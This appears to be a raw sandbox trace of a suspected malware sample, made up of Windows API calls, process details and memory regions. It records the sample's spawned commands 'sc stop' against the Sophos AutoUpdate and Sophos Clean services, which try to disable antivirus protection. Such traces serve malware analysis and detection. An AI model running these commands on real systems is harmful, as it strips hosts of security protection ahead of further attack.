[0060.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a3b4950, cchData=8 | out: lpLCData=":") returned 2 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf590, cchData=128 | out: lpLCData="0") returned 2 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf590, cchData=128 | out: lpLCData="0") returned 2 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf590, cchData=128 | out: lpLCData="1") returned 2 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a3b4940, cchData=8 | out: lpLCData="/") returned 2 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a3b4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a3b4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a3b4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a3b4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a3b4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a3b4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a3b4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a3b4930, cchData=8 | out: lpLCData=".") returned 2 [0060.455] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a3b4920, cchData=8 | out: lpLCData=",") returned 2 [0060.455] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0060.456] GetConsoleTitleW (in: lpConsoleTitle=0x5c5928, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.456] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.456] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0060.456] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0060.456] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0060.457] _wcsicmp (_String1="sc", _String2=")") returned 74 [0060.457] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0060.457] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0060.457] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0060.457] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0060.457] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0060.457] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0060.458] GetConsoleTitleW (in: lpConsoleTitle=0x1cf288, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.459] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.459] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.459] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.459] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.459] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.459] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.459] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.459] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.459] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.459] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.459] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.459] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.459] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.459] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.459] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.459] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.459] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.459] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.459] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.459] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.459] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.459] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.459] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.459] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.460] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.460] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.460] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.460] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.460] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.460] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.460] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.460] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.460] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.460] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.460] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.460] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.460] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.460] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.460] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.460] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.460] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.460] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.460] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.460] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.460] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.460] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.460] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.460] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.460] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.460] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.460] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.460] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.460] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.460] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.460] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.460] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.460] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.460] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.461] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.461] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.461] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.461] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.461] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.461] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.461] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.461] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.461] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.461] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.461] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.461] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.461] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.461] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.461] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.461] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.461] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.461] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.461] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.461] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.461] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.462] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.462] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.462] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.462] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.462] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.462] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0060.462] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0060.462] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0060.462] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0060.462] SetErrorMode (uMode=0x0) returned 0x0 [0060.462] SetErrorMode (uMode=0x1) returned 0x0 [0060.462] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5c5e80, lpFilePart=0x1ceda8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ceda8*="Desktop") returned 0x25 [0060.462] SetErrorMode (uMode=0x0) returned 0x1 [0060.462] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.462] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0060.468] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.469] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ceea4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cef6c | out: lpAttributeList=0x1ceea4, lpSize=0x1cef6c) returned 1 [0060.469] UpdateProcThreadAttribute (in: lpAttributeList=0x1ceea4, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cef64, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ceea4, lpPreviousValue=0x0) returned 1 [0060.469] GetStartupInfoW (in: lpStartupInfo=0x1cee60 | out: lpStartupInfo=0x1cee60*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5b19de, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.469] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0060.471] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos AutoUpdate Service\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1cef00*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos AutoUpdate Service\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cef4c | out: lpCommandLine="sc stop \"Sophos AutoUpdate Service\" /y", lpProcessInformation=0x1cef4c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x7dc, dwThreadId=0x890)) returned 1 [0060.475] CloseHandle (hObject=0x78) returned 1 [0060.475] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0060.475] GetEnvironmentStringsW () returned 0x5c4de8* [0060.475] FreeEnvironmentStringsW (penv=0x5c4de8) returned 1 [0060.475] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0060.522] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x1cee40 | out: lpExitCode=0x1cee40*=0x424) returned 1 [0060.522] CloseHandle (hObject=0x7c) returned 1 [0060.523] _vsnwprintf (in: _Buffer=0x1cef88, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cee4c | out: _Buffer="00000424") returned 8 [0060.523] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0060.523] GetEnvironmentStringsW () returned 0x5c61c8* [0060.523] FreeEnvironmentStringsW (penv=0x5c61c8) returned 1 [0060.523] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0060.523] GetEnvironmentStringsW () returned 0x5c61c8* [0060.523] FreeEnvironmentStringsW (penv=0x5c61c8) returned 1 [0060.523] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ceea4 | out: lpAttributeList=0x1ceea4) [0060.523] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.523] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.523] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.523] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a3b41ac | out: lpMode=0x4a3b41ac) returned 1 [0060.523] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.524] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a3b41b0 | out: lpMode=0x4a3b41b0) returned 1 [0060.524] SetConsoleInputExeNameW () returned 0x1 [0060.524] GetConsoleOutputCP () returned 0x1b5 [0060.524] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3b4260 | out: lpCPInfo=0x4a3b4260) returned 1 [0060.524] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.524] exit (_Code=1060) Process: id = "47" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x6ad6d000" os_pid = "0x7dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x7e0" cmd_line = "sc stop \"Sophos AutoUpdate Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3063 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3064 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3065 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3066 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3067 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3068 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3069 start_va = 0x2d0000 end_va = 0x2dbfff entry_point = 0x2d0000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3070 start_va = 0x2e0000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3071 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3072 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3073 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3074 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3075 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3076 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3077 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3078 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3079 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3080 start_va = 0x120000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3081 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3082 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3083 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3084 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3085 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3086 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3087 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3088 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3089 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3090 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3091 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3092 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3093 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3094 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3095 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3096 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3097 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3098 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3099 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3100 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3101 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3102 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3103 start_va = 0x470000 end_va = 0x52ffff entry_point = 0x470000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3104 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x80000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 129 os_tid = 0x890 [0060.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31fc5c | out: lpSystemTimeAsFileTime=0x31fc5c*(dwLowDateTime=0xdedf8660, dwHighDateTime=0x1d4abdd)) [0060.507] GetCurrentProcessId () returned 0x7dc [0060.507] GetCurrentThreadId () returned 0x890 [0060.507] GetTickCount () returned 0x1c8e9 [0060.507] QueryPerformanceCounter (in: lpPerformanceCount=0x31fc54 | out: lpPerformanceCount=0x31fc54*=1813573700000) returned 1 [0060.507] GetModuleHandleA (lpModuleName=0x0) returned 0x2d0000 [0060.507] __set_app_type (_Type=0x1) [0060.507] __p__fmode () returned 0x75ed31f4 [0060.507] __p__commode () returned 0x75ed31fc [0060.507] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x2d79c7) returned 0x0 [0060.507] __wgetmainargs (in: _Argc=0x2d9020, _Argv=0x2d9028, _Env=0x2d9024, _DoWildCard=0, _StartInfo=0x2d9034 | out: _Argc=0x2d9020, _Argv=0x2d9028, _Env=0x2d9024) returned 0 [0060.508] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.510] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.510] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0060.510] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0060.510] _wcsicmp (_String1="stop", _String2="query") returned 2 [0060.510] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0060.510] _wcsicmp (_String1="stop", _String2="start") returned 14 [0060.510] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0060.510] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0060.510] _wcsicmp (_String1="stop", _String2="control") returned 16 [0060.510] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0060.510] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0060.510] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x37f7b8 [0060.513] OpenServiceW (hSCManager=0x37f7b8, lpServiceName="Sophos AutoUpdate Service", dwDesiredAccess=0x20) returned 0x0 [0060.513] GetLastError () returned 0x424 [0060.513] _itow (in: _Dest=0x424, _Radix=3275508 | out: _Dest=0x424) returned="1060" [0060.513] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0x2d9380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0060.515] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x31fadc, nSize=0x2, Arguments=0x31fae8 | out: lpBuffer="ᨨ8\x01") returned 0x62 [0060.516] GetFileType (hFile=0x7) returned 0x2 [0060.516] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31fab0 | out: lpMode=0x31fab0) returned 1 [0060.516] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x381a28*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x31facc, lpReserved=0x0 | out: lpBuffer=0x381a28*, lpNumberOfCharsWritten=0x31facc*=0x62) returned 1 [0060.517] LocalFree (hMem=0x381a28) returned 0x0 [0060.517] LocalFree (hMem=0x0) returned 0x0 [0060.517] CloseServiceHandle (hSCObject=0x37f7b8) returned 1 [0060.518] exit (_Code=1060) Thread: id = 130 os_tid = 0x604 Process: id = "48" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x39d04000" os_pid = "0x7cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Clean Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3105 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3106 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3107 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3108 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3109 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3110 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3111 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3112 start_va = 0x49e60000 end_va = 0x49eabfff entry_point = 0x49e60000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3113 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3114 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3115 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3116 start_va = 0x7efdb000 end_va = 0x7efddfff 